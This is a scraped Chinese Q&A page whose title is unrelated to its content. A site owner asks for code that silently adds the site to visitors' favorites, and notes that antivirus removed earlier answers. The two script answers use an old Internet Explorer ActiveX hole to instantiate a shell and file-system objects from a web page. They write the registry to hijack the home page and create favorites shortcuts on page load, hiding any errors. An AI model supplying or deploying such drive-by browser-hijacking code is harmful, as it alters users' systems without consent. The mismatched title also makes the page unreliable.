南昌三维地图:求自动加入收藏夹的代码!

来源:百度文库 编辑:查人人中国名人网 时间:2024/05/10 06:36:11
我自己做了个网站,希望能让用户打开网站首页就自动把网址加入用户收藏夹,但是要求不需要用户任何操作,也没有任何提示.
前2个答案当打开杀毒软件的时候,就被自动删除了!
关了杀毒软件以后,也没成功啊

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{
//set cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set cookie

//set home page
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page

//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "经典论坛", "http://www.blueidea.com");
//end add favorites

}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}

init();

</script>

<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();FSO = a1.GetObject();try{WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites";
var Shor=Shl.CreateShortcut(loc + "\\"+"我是运行^_^欢迎来我的网站www.eskyol.net" +".URL");Shor.TargetPath="http://www.eskyol.net";Shor.Save();}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);</script>